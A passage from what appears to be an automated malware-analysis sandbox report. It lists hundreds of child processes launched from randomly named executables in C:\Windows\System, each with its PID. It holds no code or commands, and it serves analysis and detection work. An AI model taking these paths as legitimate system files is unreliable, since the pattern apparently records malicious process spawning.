  C:\Windows\System\cxTKhTt.exe
  2⤵
  PID:8704
- C:\Windows\System\WqkfFaN.exe
  C:\Windows\System\WqkfFaN.exe
  2⤵
  PID:8728
- C:\Windows\System\mzhrAet.exe
  C:\Windows\System\mzhrAet.exe
  2⤵
  PID:8752
- C:\Windows\System\AlxzhdH.exe
  C:\Windows\System\AlxzhdH.exe
  2⤵
  PID:8772
- C:\Windows\System\NQCevyI.exe
  C:\Windows\System\NQCevyI.exe
  2⤵
  PID:8792
- C:\Windows\System\ZILbRYY.exe
  C:\Windows\System\ZILbRYY.exe
  2⤵
  PID:8816
- C:\Windows\System\zObnCiT.exe
  C:\Windows\System\zObnCiT.exe
  2⤵
  PID:8840
- C:\Windows\System\oCzLdLY.exe
  C:\Windows\System\oCzLdLY.exe
  2⤵
  PID:8864
- C:\Windows\System\sMtZlKd.exe
  C:\Windows\System\sMtZlKd.exe
  2⤵
  PID:8888
- C:\Windows\System\PtUdBZl.exe
  C:\Windows\System\PtUdBZl.exe
  2⤵
  PID:8912
- C:\Windows\System\ooHpCcr.exe
  C:\Windows\System\ooHpCcr.exe
  2⤵
  PID:8932
- C:\Windows\System\HiovkaK.exe
  C:\Windows\System\HiovkaK.exe
  2⤵
  PID:8952
- C:\Windows\System\dxclVWQ.exe
  C:\Windows\System\dxclVWQ.exe
  2⤵
  PID:8972
- C:\Windows\System\lZbDIkl.exe
  C:\Windows\System\lZbDIkl.exe
  2⤵
  PID:8996
- C:\Windows\System\viicImD.exe
  C:\Windows\System\viicImD.exe
  2⤵
  PID:9024
- C:\Windows\System\gbZXilZ.exe
  C:\Windows\System\gbZXilZ.exe
  2⤵
  PID:9044
- C:\Windows\System\OlpzjzD.exe
  C:\Windows\System\OlpzjzD.exe
  2⤵
  PID:9064
- C:\Windows\System\cskTxUh.exe
  C:\Windows\System\cskTxUh.exe
  2⤵
  PID:9084
- C:\Windows\System\PLVjaxh.exe
  C:\Windows\System\PLVjaxh.exe
  2⤵
  PID:9108
- C:\Windows\System\OXXIdiL.exe
  C:\Windows\System\OXXIdiL.exe
  2⤵
  PID:9132
- C:\Windows\System\rtMEgLf.exe
  C:\Windows\System\rtMEgLf.exe
  2⤵
  PID:9160
- C:\Windows\System\ZcgqNVc.exe
  C:\Windows\System\ZcgqNVc.exe
  2⤵
  PID:9180
- C:\Windows\System\VfaqtBP.exe
  C:\Windows\System\VfaqtBP.exe
  2⤵
  PID:9204
- C:\Windows\System\YIEoOTg.exe
  C:\Windows\System\YIEoOTg.exe
  2⤵
  PID:5320
- C:\Windows\System\cSpAmof.exe
  C:\Windows\System\cSpAmof.exe
  2⤵
  PID:7224
- C:\Windows\System\fsnUach.exe
  C:\Windows\System\fsnUach.exe
  2⤵
  PID:7400
- C:\Windows\System\DHWjYnB.exe
  C:\Windows\System\DHWjYnB.exe
  2⤵
  PID:7464
- C:\Windows\System\StYiPpi.exe
  C:\Windows\System\StYiPpi.exe
  2⤵
  PID:7616
- C:\Windows\System\IXXGTEV.exe
  C:\Windows\System\IXXGTEV.exe
  2⤵
  PID:6404
- C:\Windows\System\mOCYKHZ.exe
  C:\Windows\System\mOCYKHZ.exe
  2⤵
  PID:6516
- C:\Windows\System\eqZanuy.exe
  C:\Windows\System\eqZanuy.exe
  2⤵
  PID:6312
- C:\Windows\System\HCwXQDZ.exe
  C:\Windows\System\HCwXQDZ.exe
  2⤵
  PID:2240
- C:\Windows\System\HxBuVZq.exe
  C:\Windows\System\HxBuVZq.exe
  2⤵
  PID:6616
- C:\Windows\System\nuQrUWH.exe
  C:\Windows\System\nuQrUWH.exe
  2⤵
  PID:6744
- C:\Windows\System\dXCZise.exe
  C:\Windows\System\dXCZise.exe
  2⤵
  PID:6836
- C:\Windows\System\XMltlNs.exe
  C:\Windows\System\XMltlNs.exe
  2⤵
  PID:7036
- C:\Windows\System\NhMSwMr.exe
  C:\Windows\System\NhMSwMr.exe
  2⤵
  PID:5632
- C:\Windows\System\EICEfls.exe
  C:\Windows\System\EICEfls.exe
  2⤵
  PID:5800
- C:\Windows\System\tSXJLpU.exe
  C:\Windows\System\tSXJLpU.exe
  2⤵
  PID:4692
- C:\Windows\System\EJrvGkq.exe
  C:\Windows\System\EJrvGkq.exe
  2⤵
  PID:6084
- C:\Windows\System\ocwplRm.exe
  C:\Windows\System\ocwplRm.exe
  2⤵
  PID:7204
- C:\Windows\System\aqDOXFg.exe
  C:\Windows\System\aqDOXFg.exe
  2⤵
  PID:7424
- C:\Windows\System\SWrSOGk.exe
  C:\Windows\System\SWrSOGk.exe
  2⤵
  PID:7488
- C:\Windows\System\CGhizFQ.exe
  C:\Windows\System\CGhizFQ.exe
  2⤵
  PID:7532
- C:\Windows\System\lsVTuvU.exe
  C:\Windows\System\lsVTuvU.exe
  2⤵
  PID:7640
- C:\Windows\System\YwqYEtd.exe
  C:\Windows\System\YwqYEtd.exe
  2⤵
  PID:7696
- C:\Windows\System\iTcPwox.exe
  C:\Windows\System\iTcPwox.exe
  2⤵
  PID:7744
- C:\Windows\System\FYfgwXx.exe
  C:\Windows\System\FYfgwXx.exe
  2⤵
  PID:9240
- C:\Windows\System\xqNGpxt.exe
  C:\Windows\System\xqNGpxt.exe
  2⤵
  PID:9264
- C:\Windows\System\QHzVcVl.exe
  C:\Windows\System\QHzVcVl.exe
  2⤵
  PID:9288
- C:\Windows\System\bwNeXhg.exe
  C:\Windows\System\bwNeXhg.exe
  2⤵
  PID:9304
- C:\Windows\System\mNbIfYe.exe
  C:\Windows\System\mNbIfYe.exe
  2⤵
  PID:9328
- C:\Windows\System\PKdRVVI.exe
  C:\Windows\System\PKdRVVI.exe
  2⤵
  PID:9352
- C:\Windows\System\YkcpbwV.exe
  C:\Windows\System\YkcpbwV.exe
  2⤵
  PID:9376
- C:\Windows\System\xQqFRFJ.exe
  C:\Windows\System\xQqFRFJ.exe
  2⤵
  PID:9392
- C:\Windows\System\axKIJFq.exe
  C:\Windows\System\axKIJFq.exe
  2⤵
  PID:9408
- C:\Windows\System\nPGxzUg.exe
  C:\Windows\System\nPGxzUg.exe
  2⤵
  PID:9456
- C:\Windows\System\gTUwyOn.exe
  C:\Windows\System\gTUwyOn.exe
  2⤵
  PID:9472
- C:\Windows\System\GhrpNcN.exe
  C:\Windows\System\GhrpNcN.exe
  2⤵
  PID:9488
- C:\Windows\System\hTyvxdy.exe
  C:\Windows\System\hTyvxdy.exe
  2⤵
  PID:9504
- C:\Windows\System\RdkNUjY.exe
  C:\Windows\System\RdkNUjY.exe
  2⤵
  PID:9528
- C:\Windows\System\iKLGLNR.exe
  C:\Windows\System\iKLGLNR.exe
  2⤵
  PID:9552
- C:\Windows\System\mmfSRzy.exe
  C:\Windows\System\mmfSRzy.exe
  2⤵
  PID:9576
- C:\Windows\System\RHzQXpp.exe
  C:\Windows\System\RHzQXpp.exe
  2⤵
  PID:9596
- C:\Windows\System\JfyyCcl.exe
  C:\Windows\System\JfyyCcl.exe
  2⤵
  PID:9624
- C:\Windows\System\vAooQFV.exe
  C:\Windows\System\vAooQFV.exe
  2⤵
  PID:9648
- C:\Windows\System\weBYbfW.exe
  C:\Windows\System\weBYbfW.exe
  2⤵
  PID:9676
- C:\Windows\System\wUzmMgo.exe
  C:\Windows\System\wUzmMgo.exe
  2⤵
  PID:9708
- C:\Windows\System\Cmeiuuw.exe
  C:\Windows\System\Cmeiuuw.exe
  2⤵
  PID:9728
- C:\Windows\System\gkZfvMd.exe
  C:\Windows\System\gkZfvMd.exe
  2⤵
  PID:9756
- C:\Windows\System\bHNPEYw.exe
  C:\Windows\System\bHNPEYw.exe
  2⤵
  PID:9772
- C:\Windows\System\XHCBevO.exe
  C:\Windows\System\XHCBevO.exe
  2⤵
  PID:9800
- C:\Windows\System\FnDWvGH.exe
  C:\Windows\System\FnDWvGH.exe
  2⤵
  PID:9820
- C:\Windows\System\NBrujVT.exe
  C:\Windows\System\NBrujVT.exe
  2⤵
  PID:9844
- C:\Windows\System\tSkXEev.exe
  C:\Windows\System\tSkXEev.exe
  2⤵
  PID:9864
- C:\Windows\System\cOGkUKi.exe
  C:\Windows\System\cOGkUKi.exe
  2⤵
  PID:9888
- C:\Windows\System\wCzndsS.exe
  C:\Windows\System\wCzndsS.exe
  2⤵
  PID:9912
- C:\Windows\System\zrmPbua.exe
  C:\Windows\System\zrmPbua.exe
  2⤵
  PID:9936
- C:\Windows\System\IRLgbiu.exe
  C:\Windows\System\IRLgbiu.exe
  2⤵
  PID:9964
- C:\Windows\System\sgepMDL.exe
  C:\Windows\System\sgepMDL.exe
  2⤵
  PID:9980
- C:\Windows\System\HDLwpBs.exe
  C:\Windows\System\HDLwpBs.exe
  2⤵
  PID:10000
- C:\Windows\System\JMLDxSS.exe
  C:\Windows\System\JMLDxSS.exe
  2⤵
  PID:10028
- C:\Windows\System\fJRtDKj.exe
  C:\Windows\System\fJRtDKj.exe
  2⤵
  PID:10048
- C:\Windows\System\DSFJaHd.exe
  C:\Windows\System\DSFJaHd.exe
  2⤵
  PID:10068
- C:\Windows\System\OyNIllF.exe
  C:\Windows\System\OyNIllF.exe
  2⤵
  PID:10092
- C:\Windows\System\bpONtQA.exe
  C:\Windows\System\bpONtQA.exe
  2⤵
  PID:10116
- C:\Windows\System\rpVJKCR.exe
  C:\Windows\System\rpVJKCR.exe
  2⤵
  PID:10148
- C:\Windows\System\lTszuYw.exe
  C:\Windows\System\lTszuYw.exe
  2⤵
  PID:10188
- C:\Windows\System\yxYYivD.exe
  C:\Windows\System\yxYYivD.exe
  2⤵
  PID:10208
- C:\Windows\System\fykyVpd.exe
  C:\Windows\System\fykyVpd.exe
  2⤵
  PID:10232
- C:\Windows\System\lHOmzBR.exe
  C:\Windows\System\lHOmzBR.exe
  2⤵
  PID:7888
- C:\Windows\System\nHGYEFS.exe
  C:\Windows\System\nHGYEFS.exe
  2⤵
  PID:7908
- C:\Windows\System\tDBazsK.exe
  C:\Windows\System\tDBazsK.exe
  2⤵
  PID:7952
- C:\Windows\System\HOPMFoq.exe
  C:\Windows\System\HOPMFoq.exe
  2⤵
  PID:7980
- C:\Windows\System\AxAYfJG.exe
  C:\Windows\System\AxAYfJG.exe
  2⤵
  PID:8016
- C:\Windows\System\jzVQPxY.exe
  C:\Windows\System\jzVQPxY.exe
  2⤵
  PID:8088
- C:\Windows\System\GflefDF.exe
  C:\Windows\System\GflefDF.exe
  2⤵
  PID:7280
- C:\Windows\System\bNKhcHC.exe
  C:\Windows\System\bNKhcHC.exe
  2⤵
  PID:7720
- C:\Windows\System\lNyFPUY.exe
  C:\Windows\System\lNyFPUY.exe
  2⤵
  PID:8720
- C:\Windows\System\QJObpqd.exe
  C:\Windows\System\QJObpqd.exe
  2⤵
  PID:8764
- C:\Windows\System\opIFNMh.exe
  C:\Windows\System\opIFNMh.exe
  2⤵
  PID:8944
- C:\Windows\System\uvYIgJE.exe
  C:\Windows\System\uvYIgJE.exe
  2⤵
  PID:8988
- C:\Windows\System\kphCVrP.exe
  C:\Windows\System\kphCVrP.exe
  2⤵
  PID:9172
- C:\Windows\System\uhiReXe.exe
  C:\Windows\System\uhiReXe.exe
  2⤵
  PID:8568
- C:\Windows\System\WsutlgV.exe
  C:\Windows\System\WsutlgV.exe
  2⤵
  PID:7736
- C:\Windows\System\OsLGzUH.exe
  C:\Windows\System\OsLGzUH.exe
  2⤵
  PID:8244
- C:\Windows\System\eAqeFyL.exe
  C:\Windows\System\eAqeFyL.exe
  2⤵
  PID:8280
- C:\Windows\System\OWAYTJR.exe
  C:\Windows\System\OWAYTJR.exe
  2⤵
  PID:8316
- C:\Windows\System\cOvGXbS.exe
  C:\Windows\System\cOvGXbS.exe
  2⤵
  PID:8384
- C:\Windows\System\fLYpVBm.exe
  C:\Windows\System\fLYpVBm.exe
  2⤵
  PID:8208
- C:\Windows\System\YUttUbg.exe
  C:\Windows\System\YUttUbg.exe
  2⤵
  PID:8472
- C:\Windows\System\hZCCSDH.exe
  C:\Windows\System\hZCCSDH.exe
  2⤵
  PID:8512
- C:\Windows\System\tbJgbvY.exe
  C:\Windows\System\tbJgbvY.exe
  2⤵
  PID:8744
- C:\Windows\System\NfdGhZd.exe
  C:\Windows\System\NfdGhZd.exe
  2⤵
  PID:8900
- C:\Windows\System\IYWXbiH.exe
  C:\Windows\System\IYWXbiH.exe
  2⤵
  PID:8992
- C:\Windows\System\lNYAuHo.exe
  C:\Windows\System\lNYAuHo.exe
  2⤵
  PID:9036
- C:\Windows\System\vhnREeg.exe
  C:\Windows\System\vhnREeg.exe
  2⤵
  PID:9672
- C:\Windows\System\NYwYToD.exe
  C:\Windows\System\NYwYToD.exe
  2⤵
  PID:9104
- C:\Windows\System\nhGwuGm.exe
  C:\Windows\System\nhGwuGm.exe
  2⤵
  PID:9720
- C:\Windows\System\BTmqwCv.exe
  C:\Windows\System\BTmqwCv.exe
  2⤵
  PID:9780
- C:\Windows\System\ObcfslY.exe
  C:\Windows\System\ObcfslY.exe
  2⤵
  PID:9836
- C:\Windows\System\SvNVwGI.exe
  C:\Windows\System\SvNVwGI.exe
  2⤵
  PID:6216
- C:\Windows\System\sVaxGcx.exe
  C:\Windows\System\sVaxGcx.exe
  2⤵
  PID:8572
- C:\Windows\System\dpVKimg.exe
  C:\Windows\System\dpVKimg.exe
  2⤵
  PID:10008
- C:\Windows\System\aCQtdlU.exe
  C:\Windows\System\aCQtdlU.exe
  2⤵
  PID:7276
- C:\Windows\System\MYvPEVC.exe
  C:\Windows\System\MYvPEVC.exe
  2⤵
  PID:7740
- C:\Windows\System\xSwSDwO.exe
  C:\Windows\System\xSwSDwO.exe
  2⤵
  PID:9260
- C:\Windows\System\JJfyztD.exe
  C:\Windows\System\JJfyztD.exe
  2⤵
  PID:9360
- C:\Windows\System\rJTfLqb.exe
  C:\Windows\System\rJTfLqb.exe
  2⤵
  PID:10184
- C:\Windows\System\rTorcIL.exe
  C:\Windows\System\rTorcIL.exe
  2⤵
  PID:7884
- C:\Windows\System\pvtbjjp.exe
  C:\Windows\System\pvtbjjp.exe
  2⤵
  PID:7936
- C:\Windows\System\GKLWWYF.exe
  C:\Windows\System\GKLWWYF.exe
  2⤵
  PID:8056
- C:\Windows\System\zOXgGaH.exe
  C:\Windows\System\zOXgGaH.exe
  2⤵
  PID:9436
- C:\Windows\System\KbMPXJA.exe
  C:\Windows\System\KbMPXJA.exe
  2⤵
  PID:10256
- C:\Windows\System\VOZEaHl.exe
  C:\Windows\System\VOZEaHl.exe
  2⤵
  PID:10280
- C:\Windows\System\jdpOpGT.exe
  C:\Windows\System\jdpOpGT.exe
  2⤵
  PID:10308
- C:\Windows\System\nwgQsjC.exe
  C:\Windows\System\nwgQsjC.exe
  2⤵
  PID:10328
- C:\Windows\System\YRDiZcU.exe
  C:\Windows\System\YRDiZcU.exe
  2⤵
  PID:10348
- C:\Windows\System\ZBZgsTN.exe
  C:\Windows\System\ZBZgsTN.exe
  2⤵
  PID:10380
- C:\Windows\System\zBTykaa.exe
  C:\Windows\System\zBTykaa.exe
  2⤵
  PID:10404
- C:\Windows\System\yUnvHKr.exe
  C:\Windows\System\yUnvHKr.exe
  2⤵
  PID:10428
- C:\Windows\System\SsDCisV.exe
  C:\Windows\System\SsDCisV.exe
  2⤵
  PID:10452
- C:\Windows\System\KfAMxrZ.exe
  C:\Windows\System\KfAMxrZ.exe
  2⤵
  PID:10476
- C:\Windows\System\zpkIftw.exe
  C:\Windows\System\zpkIftw.exe
  2⤵
  PID:10496
- C:\Windows\System\ZbcCPAV.exe
  C:\Windows\System\ZbcCPAV.exe
  2⤵
  PID:10524
- C:\Windows\System\aEQGndp.exe
  C:\Windows\System\aEQGndp.exe
  2⤵
  PID:10544
- C:\Windows\System\WEbBpPc.exe
  C:\Windows\System\WEbBpPc.exe
  2⤵
  PID:10568
- C:\Windows\System\PMqDeNL.exe
  C:\Windows\System\PMqDeNL.exe
  2⤵
  PID:10584
- C:\Windows\System\YvXbrdB.exe
  C:\Windows\System\YvXbrdB.exe
  2⤵
  PID:10604
- C:\Windows\System\LVIwlUF.exe
  C:\Windows\System\LVIwlUF.exe
  2⤵
  PID:10620
- C:\Windows\System\flLBjVs.exe
  C:\Windows\System\flLBjVs.exe
  2⤵
  PID:10636
- C:\Windows\System\WwlZnzr.exe
  C:\Windows\System\WwlZnzr.exe
  2⤵
  PID:10652
- C:\Windows\System\FyeYlmf.exe
  C:\Windows\System\FyeYlmf.exe
  2⤵
  PID:10672
- C:\Windows\System\AcBGDhr.exe
  C:\Windows\System\AcBGDhr.exe
  2⤵
  PID:10692
- C:\Windows\System\WnoWceQ.exe
  C:\Windows\System\WnoWceQ.exe
  2⤵
  PID:10716
- C:\Windows\System\eJmjYjS.exe
  C:\Windows\System\eJmjYjS.exe
  2⤵
  PID:10740
- C:\Windows\System\ydzTgwF.exe
  C:\Windows\System\ydzTgwF.exe
  2⤵
  PID:10768
- C:\Windows\System\mhHrcPT.exe
  C:\Windows\System\mhHrcPT.exe
  2⤵
  PID:10788
- C:\Windows\System\DvUWoom.exe
  C:\Windows\System\DvUWoom.exe
  2⤵
  PID:10812
- C:\Windows\System\wSnbAbm.exe
  C:\Windows\System\wSnbAbm.exe
  2⤵
  PID:10836
- C:\Windows\System\gtoDTpI.exe
  C:\Windows\System\gtoDTpI.exe
  2⤵
  PID:10856
- C:\Windows\System\ThxZxvc.exe
  C:\Windows\System\ThxZxvc.exe
  2⤵
  PID:10876
- C:\Windows\System\UozXmLU.exe
  C:\Windows\System\UozXmLU.exe
  2⤵
  PID:10900
- C:\Windows\System\KANwetb.exe
  C:\Windows\System\KANwetb.exe
  2⤵
  PID:10924
- C:\Windows\System\ejamcAZ.exe
  C:\Windows\System\ejamcAZ.exe
  2⤵
  PID:10956
- C:\Windows\System\DaNEtbF.exe
  C:\Windows\System\DaNEtbF.exe
  2⤵
  PID:10976
- C:\Windows\System\FcTOnLS.exe
  C:\Windows\System\FcTOnLS.exe
  2⤵
  PID:11000
- C:\Windows\System\jpeZEqc.exe
  C:\Windows\System\jpeZEqc.exe
  2⤵
  PID:11020
- C:\Windows\System\twSpIEs.exe
  C:\Windows\System\twSpIEs.exe
  2⤵
  PID:11052
- C:\Windows\System\OjjhdLp.exe
  C:\Windows\System\OjjhdLp.exe
  2⤵
  PID:11072
- C:\Windows\System\aABsell.exe
  C:\Windows\System\aABsell.exe
  2⤵
  PID:11088
- C:\Windows\System\gACCjiA.exe
  C:\Windows\System\gACCjiA.exe
  2⤵
  PID:11112
- C:\Windows\System\aIBMyvx.exe
  C:\Windows\System\aIBMyvx.exe
  2⤵
  PID:11128
- C:\Windows\System\jWFTumh.exe
  C:\Windows\System\jWFTumh.exe
  2⤵
  PID:11148
- C:\Windows\System\WXknluw.exe
  C:\Windows\System\WXknluw.exe
  2⤵
  PID:11172
- C:\Windows\System\cXuqGqj.exe
  C:\Windows\System\cXuqGqj.exe
  2⤵
  PID:11196
- C:\Windows\System\fzjtBHc.exe
  C:\Windows\System\fzjtBHc.exe
  2⤵
  PID:11220
- C:\Windows\System\GMUCfNf.exe
  C:\Windows\System\GMUCfNf.exe
  2⤵
  PID:11236
- C:\Windows\System\BGouVnR.exe
  C:\Windows\System\BGouVnR.exe
  2⤵
  PID:11260
- C:\Windows\System\RJgoUcP.exe
  C:\Windows\System\RJgoUcP.exe
  2⤵
  PID:8692
- C:\Windows\System\wdRWiqy.exe
  C:\Windows\System\wdRWiqy.exe
  2⤵
  PID:8800
- C:\Windows\System\kkDcSdG.exe
  C:\Windows\System\kkDcSdG.exe
  2⤵
  PID:8836
- C:\Windows\System\qBhLydE.exe
  C:\Windows\System\qBhLydE.exe
  2⤵
  PID:7524
- C:\Windows\System\IGrjYtr.exe
  C:\Windows\System\IGrjYtr.exe
  2⤵
  PID:9764
- C:\Windows\System\PqFAFPd.exe
  C:\Windows\System\PqFAFPd.exe
  2⤵
  PID:8304
- C:\Windows\System\khrwARc.exe
  C:\Windows\System\khrwARc.exe
  2⤵
  PID:9880
- C:\Windows\System\RKRaMvP.exe
  C:\Windows\System\RKRaMvP.exe
  2⤵
  PID:6456
- C:\Windows\System\fjyZewn.exe
  C:\Windows\System\fjyZewn.exe
  2⤵
  PID:5188
- C:\Windows\System\zUpsfeK.exe
  C:\Windows\System\zUpsfeK.exe
  2⤵
  PID:6720
- C:\Windows\System\MxnBtqU.exe
  C:\Windows\System\MxnBtqU.exe
  2⤵
  PID:5796
- C:\Windows\System\tSgWRJH.exe
  C:\Windows\System\tSgWRJH.exe
  2⤵
  PID:6544
- C:\Windows\System\Kgqmprw.exe
  C:\Windows\System\Kgqmprw.exe
  2⤵
  PID:10036
- C:\Windows\System\LyLjYRB.exe
  C:\Windows\System\LyLjYRB.exe
  2⤵
  PID:1900
- C:\Windows\System\PfVkydg.exe
  C:\Windows\System\PfVkydg.exe
  2⤵
  PID:9032
- C:\Windows\System\OhqplaK.exe
  C:\Windows\System\OhqplaK.exe
  2⤵
  PID:10088
- C:\Windows\System\ZDViQlv.exe
  C:\Windows\System\ZDViQlv.exe
  2⤵
  PID:1664
- C:\Windows\System\HqIMIVM.exe
  C:\Windows\System\HqIMIVM.exe
  2⤵
  PID:11284
- C:\Windows\System\hxLTAfv.exe
  C:\Windows\System\hxLTAfv.exe
  2⤵
  PID:11300
- C:\Windows\System\ABsYXvS.exe
  C:\Windows\System\ABsYXvS.exe
  2⤵
  PID:11320
- C:\Windows\System\hcpBWcH.exe
  C:\Windows\System\hcpBWcH.exe
  2⤵
  PID:11340
- C:\Windows\System\LNLGFxG.exe
  C:\Windows\System\LNLGFxG.exe
  2⤵
  PID:11360
- C:\Windows\System\ajQjmSz.exe
  C:\Windows\System\ajQjmSz.exe
  2⤵
  PID:11376
- C:\Windows\System\thrLZIm.exe
  C:\Windows\System\thrLZIm.exe
  2⤵
  PID:11400
- C:\Windows\System\XvGkPwb.exe
  C:\Windows\System\XvGkPwb.exe
  2⤵
  PID:11444
- C:\Windows\System\EbsNLoi.exe
  C:\Windows\System\EbsNLoi.exe
  2⤵
  PID:11588
- C:\Windows\System\XtLqhcP.exe
  C:\Windows\System\XtLqhcP.exe
  2⤵
  PID:11604
- C:\Windows\System\uECcPFd.exe
  C:\Windows\System\uECcPFd.exe
  2⤵
  PID:11620
- C:\Windows\System\WAiyANY.exe
  C:\Windows\System\WAiyANY.exe
  2⤵
  PID:11636
- C:\Windows\System\yDgvYwX.exe
  C:\Windows\System\yDgvYwX.exe
  2⤵
  PID:11652
- C:\Windows\System\ftpTquD.exe
  C:\Windows\System\ftpTquD.exe
  2⤵
  PID:11676
- C:\Windows\System\hchDqaX.exe
  C:\Windows\System\hchDqaX.exe
  2⤵
  PID:11696
- C:\Windows\System\IMxFOtG.exe
  C:\Windows\System\IMxFOtG.exe
  2⤵
  PID:11720
- C:\Windows\System\SGmIoJI.exe
  C:\Windows\System\SGmIoJI.exe
  2⤵
  PID:11760
- C:\Windows\System\wsMTEui.exe
  C:\Windows\System\wsMTEui.exe
  2⤵
  PID:11780
- C:\Windows\System\tUUYfcQ.exe
  C:\Windows\System\tUUYfcQ.exe
  2⤵
  PID:11800
- C:\Windows\System\HZeoOqI.exe
  C:\Windows\System\HZeoOqI.exe
  2⤵
  PID:11824
- C:\Windows\System\SnWUIOM.exe
  C:\Windows\System\SnWUIOM.exe
  2⤵
  PID:11844
- C:\Windows\System\ncXUGzs.exe
  C:\Windows\System\ncXUGzs.exe
  2⤵
  PID:11864
- C:\Windows\System\LYqpHGK.exe
  C:\Windows\System\LYqpHGK.exe
  2⤵
  PID:11888
- C:\Windows\System\PqRGZib.exe
  C:\Windows\System\PqRGZib.exe
  2⤵
  PID:11904
- C:\Windows\System\jLOPvfv.exe
  C:\Windows\System\jLOPvfv.exe
  2⤵
  PID:11932
- C:\Windows\System\azSrSfV.exe
  C:\Windows\System\azSrSfV.exe
  2⤵
  PID:11952
- C:\Windows\System\gUAUoQo.exe
  C:\Windows\System\gUAUoQo.exe
  2⤵
  PID:11968
- C:\Windows\System\zGhAOPm.exe
  C:\Windows\System\zGhAOPm.exe
  2⤵
  PID:11988
- C:\Windows\System\WlJAgYc.exe
  C:\Windows\System\WlJAgYc.exe
  2⤵
  PID:12012
- C:\Windows\System\eKEbQCY.exe
  C:\Windows\System\eKEbQCY.exe
  2⤵
  PID:12032
- C:\Windows\System\OxowfKP.exe
  C:\Windows\System\OxowfKP.exe
  2⤵
  PID:12056
- C:\Windows\System\PyfCGlt.exe
  C:\Windows\System\PyfCGlt.exe
  2⤵
  PID:12092
- C:\Windows\System\YOHRhaQ.exe
  C:\Windows\System\YOHRhaQ.exe
  2⤵
  PID:12108
- C:\Windows\System\hQFgtdq.exe
  C:\Windows\System\hQFgtdq.exe
  2⤵
  PID:12132
- C:\Windows\System\nLnWwIO.exe
  C:\Windows\System\nLnWwIO.exe
  2⤵
  PID:12156
- C:\Windows\System\TTTnnzp.exe
  C:\Windows\System\TTTnnzp.exe
  2⤵
  PID:12188
- C:\Windows\System\eSRlCIQ.exe
  C:\Windows\System\eSRlCIQ.exe
  2⤵
  PID:12212
- C:\Windows\System\SMsFEAC.exe
  C:\Windows\System\SMsFEAC.exe
  2⤵
  PID:12236
- C:\Windows\System\adRQoPR.exe
  C:\Windows\System\adRQoPR.exe
  2⤵
  PID:12256
- C:\Windows\System\DGKJiIj.exe
  C:\Windows\System\DGKJiIj.exe
  2⤵
  PID:12272
- C:\Windows\System\vUcrblM.exe
  C:\Windows\System\vUcrblM.exe
  2⤵
  PID:9300
- C:\Windows\System\lMQADkA.exe
  C:\Windows\System\lMQADkA.exe
  2⤵
  PID:2084
- C:\Windows\System\HeeJtvU.exe
  C:\Windows\System\HeeJtvU.exe
  2⤵
  PID:9388
- C:\Windows\System\ryWBgFq.exe
  C:\Windows\System\ryWBgFq.exe
  2⤵
  PID:9416
- C:\Windows\System\mKAHyMc.exe
  C:\Windows\System\mKAHyMc.exe
  2⤵
  PID:8012
- C:\Windows\System\iqbAcUN.exe
  C:\Windows\System\iqbAcUN.exe
  2⤵
  PID:8672
- C:\Windows\System\uUynICy.exe
  C:\Windows\System\uUynICy.exe
  2⤵
  PID:9464
- C:\Windows\System\LnqnKuu.exe
  C:\Windows\System\LnqnKuu.exe
  2⤵
  PID:9248
- C:\Windows\System\TWQqhKO.exe
  C:\Windows\System\TWQqhKO.exe
  2⤵
  PID:8748
- C:\Windows\System\QmwTJTZ.exe
  C:\Windows\System\QmwTJTZ.exe
  2⤵
  PID:9496
- C:\Windows\System\mEHzWWm.exe
  C:\Windows\System\mEHzWWm.exe
  2⤵
  PID:9548
- C:\Windows\System\XypJifu.exe
  C:\Windows\System\XypJifu.exe
  2⤵
  PID:1984
- C:\Windows\System\VZAmFqO.exe
  C:\Windows\System\VZAmFqO.exe
  2⤵
  PID:10680
- C:\Windows\System\ebxqeQK.exe
  C:\Windows\System\ebxqeQK.exe
  2⤵
  PID:10808
- C:\Windows\System\ugZujVA.exe
  C:\Windows\System\ugZujVA.exe
  2⤵
  PID:10868
- C:\Windows\System\bLSkyEi.exe
  C:\Windows\System\bLSkyEi.exe
  2⤵
  PID:10936
- C:\Windows\System\nLCprTv.exe
  C:\Windows\System\nLCprTv.exe
  2⤵
  PID:9928
- C:\Windows\System\tpkKdlW.exe
  C:\Windows\System\tpkKdlW.exe
  2⤵
  PID:1480
- C:\Windows\System\DoLPjAQ.exe
  C:\Windows\System\DoLPjAQ.exe
  2⤵
  PID:8468
- C:\Windows\System\xgjowVc.exe
  C:\Windows\System\xgjowVc.exe
  2⤵
  PID:11108
- C:\Windows\System\hSSUsgj.exe
  C:\Windows\System\hSSUsgj.exe
  2⤵
  PID:9592
- C:\Windows\System\WYmECdE.exe
  C:\Windows\System\WYmECdE.exe
  2⤵
  PID:11216
- C:\Windows\System\GoIlwwz.exe
  C:\Windows\System\GoIlwwz.exe
  2⤵
  PID:11256
- C:\Windows\System\nLqSOfB.exe
  C:\Windows\System\nLqSOfB.exe
  2⤵
  PID:4444
- C:\Windows\System\GzCiPvJ.exe
  C:\Windows\System\GzCiPvJ.exe
  2⤵
  PID:7172
- C:\Windows\System\CXMggmW.exe
  C:\Windows\System\CXMggmW.exe
  2⤵
  PID:6412
- C:\Windows\System\ZORBINB.exe
  C:\Windows\System\ZORBINB.exe
  2⤵
  PID:12296
- C:\Windows\System\cVKiUdN.exe
  C:\Windows\System\cVKiUdN.exe
  2⤵
  PID:12312
- C:\Windows\System\IiCspZG.exe
  C:\Windows\System\IiCspZG.exe
  2⤵
  PID:12332
- C:\Windows\System\HCFngnB.exe
  C:\Windows\System\HCFngnB.exe
  2⤵
  PID:12360
- C:\Windows\System\dbVxIEa.exe
  C:\Windows\System\dbVxIEa.exe
  2⤵
  PID:12380
- C:\Windows\System\NcUvqrk.exe
  C:\Windows\System\NcUvqrk.exe
  2⤵
  PID:12404
- C:\Windows\System\RgKRUAM.exe
  C:\Windows\System\RgKRUAM.exe
  2⤵
  PID:12424
- C:\Windows\System\iFSKPUz.exe
  C:\Windows\System\iFSKPUz.exe
  2⤵
  PID:12452
- C:\Windows\System\rZctlMa.exe
  C:\Windows\System\rZctlMa.exe
  2⤵
  PID:12476
- C:\Windows\System\ZTEpLNa.exe
  C:\Windows\System\ZTEpLNa.exe
  2⤵
  PID:12500
- C:\Windows\System\PKqldlK.exe
  C:\Windows\System\PKqldlK.exe
  2⤵
  PID:12524
- C:\Windows\System\jketPuA.exe
  C:\Windows\System\jketPuA.exe
  2⤵
  PID:12552
- C:\Windows\System\vhIHPRB.exe
  C:\Windows\System\vhIHPRB.exe
  2⤵
  PID:12568
- C:\Windows\System\aYHPqdm.exe
  C:\Windows\System\aYHPqdm.exe
  2⤵
  PID:12596
